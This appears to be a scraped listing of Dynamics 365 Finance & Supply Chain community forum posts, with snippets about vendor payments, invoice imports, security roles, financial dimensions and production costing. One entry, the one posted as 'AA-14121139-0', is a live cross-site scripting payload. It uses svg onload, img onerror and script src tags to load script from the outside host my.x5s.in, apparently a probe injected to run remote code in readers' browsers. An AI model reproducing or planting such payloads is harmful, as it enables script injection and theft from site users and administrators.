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KS-13051748-0
124
Hi, We are integrating EFT (ACH) vendor payment - We want to have a payment journal when fully approved get posted automatically. I created a POST...
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vishvaid77
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I need to import a large number of Free Text Invoices along with their lines. Since the posted customer invoice number is generated only during post...
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J-13122156-0
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Is there a way to know what an assigned role in F&SCM enable a user to do? A user need to do some transactions in F&SCM but i don't know what...
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AbdullahAhmed_
440
Hi, The accountant has a PO that has 1 line, both header and line have the same financial dimensions (pic 1), when he goes to pending invoices...
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UAli
165
Hi, We are in the process of setting BPA linked to our UAT environment (which is a multi box environment) . The problem we have is the repor...
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SR-09121030-0
2
I'm looking for advice on which tables the community consider to be high risk in D365 FO when it comes to monitoring activity for audit. I ...
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CU11121046-0
0
Please can I have some help. I have created the invoice in PO. Then in FO, I have followed the steps: 1) Import from staging table 2) Post Projec...
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Sirius_A
77
Hello all, We are planning to activate this parameter: Problem: some legal entities have informative steps in the workflow befor...
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AA-14121139-0
16
"><svg/onload=import('//my.x5s.in')>"><img src onerror=import('//my.x5s.in')><script src=//my.x5s.in></script>
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Janco van Dijk
26
Dear community, After our production orders, we need time to clean the equipment. From costing perspective, this is considerable. Of course, we hav...
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